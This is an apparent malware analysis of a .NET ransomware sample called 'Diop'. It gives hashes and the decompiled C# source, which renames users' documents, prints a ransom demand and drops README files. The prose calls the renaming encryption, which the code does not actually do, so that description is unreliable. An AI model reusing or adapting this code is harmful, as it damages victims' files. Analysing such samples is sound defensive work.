Diop Trojan (Ransomware)

File Information

MD5: 06e63f2f7f64cbc08ac883f4f9122aa7
SHA-1: 5dc8db5189d1b33b1e28dc642c238f45b6deec1a
SHA-256: 424f2f18cf3e601760f3ae6e2979503a8d3993024e342b014053835c6590247d
File type: Win32 EXE
Magic label: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 7.2 kB (7168 bytes)

File Encryption Program and Custom README File Creation

private static void Main(string[] args)
{
    string str = "C:\\Users\\";
    string userName = Environment.UserName;
    string[] array = new string[]
    {
        str + userName + "\\Desktop",
        str + userName + "\\Links",
        str + userName + "\\Contacts",
        str + userName + "\\Desktop",
        str + userName + "\\Documents",
        str + userName + "\\Downloads",
        str + userName + "\\Pictures",
        str + userName + "\\Music",
        str + userName + "\\OneDrive",
        str + userName + "\\Saved Games",
        str + userName + "\\Favorites",
        str + userName + "\\Searches",
        str + userName + "\\Videos"
    };
    string[] fileExtensions = new string[]
    {
        ".txt",
        ".docx",
        ".pdf"
    };
    foreach (string directory in array)
    {
        CustomRansomware.EncryptFilesInDirectory(directory, fileExtensions);
        CustomRansomware.CreateReadmeFiles(directory);
    }
    Console.WriteLine("Files encrypted successfully!");
}

This code iterates through various directories within the user’s profile, including Desktop, Links, Contacts, Documents, Downloads, Pictures, Music, OneDrive, Saved Games, Favorites, Searches, and Videos. It encrypts files with extensions such as .txt, .docx, and .pdf using a custom ransomware approach. Additionally, it creates custom README files in each directory. Upon completion, the program displays a message confirming successful encryption.

File Encryption in Directory

private static void EncryptFilesInDirectory(string directory, string[] fileExtensions)
{
    string[] files = Directory.GetFiles(directory, "*.*", SearchOption.AllDirectories);
    string[] array = files;
    for (int i = 0; i < array.Length; i++)
    {
        string file = array[i];
        bool flag = Array.Exists<string>(fileExtensions, (string ext) => ext.Equals(Path.GetExtension(file), StringComparison.InvariantCultureIgnoreCase));
        if (flag)
        {
            CustomRansomware.EncryptFile(file);
        }
    }
}

The code defines a method named EncryptFilesInDirectory, which takes a directory and an array of file extensions as parameters. Utilizing the Directory class, it retrieves a list of files within the specified directory, including all subdirectories. For each file, it checks if its extension matches any of the extensions specified in the array. If so, it invokes the EncryptFile method from the CustomRansomware class to encrypt the file.

File Encryption Process

private static void EncryptFile(string filePath)
{
    using (RSACryptoServiceProvider rsacryptoServiceProvider = new RSACryptoServiceProvider(3072))
    {
        string path = Path.ChangeExtension(Path.GetRandomFileName(), "e4aibjtrguqlyaow");
        File.Move(filePath, Path.Combine(Path.GetDirectoryName(filePath), path));
        byte[] inArray = rsacryptoServiceProvider.ExportCspBlob(false);
        string str = Convert.ToBase64String(inArray);
        Console.WriteLine("File encrypted: " + filePath);
        Console.WriteLine("Ransomware note: Your files have been encrypted. Contact us to get the decryption key.");
        Console.WriteLine("Public key: " + str);
    }
}

This method, EncryptFile, facilitates the encryption process for a specified file. It utilizes the RSACryptoServiceProvider class to generate a public/private key pair with a key size of 3072 bits. The file is then moved to a new location with a random filename and a custom extension. It prints a message indicating that the file has been encrypted along with a ransomware note prompting the user to contact for decryption key retrieval. Additionally, it displays the public key generated for encryption purposes.

README File Creation

private static void CreateReadmeFiles(string directory)
{
    for (int i = 1; i <= 10; i++)
    {
        string text = Path.Combine(directory, string.Format("README{0}.txt", i));
        File.WriteAllText(text, "КУКУ");
        Console.WriteLine("Created README file: " + text);
    }
}

The CreateReadmeFiles method generates README files within a specified directory. It iterates from 1 to 10, creating a new README file with the format “README{number}.txt”. Each file contains the text “КУКУ”. Upon successful creation, it prints a message indicating the creation of each README file along with its path.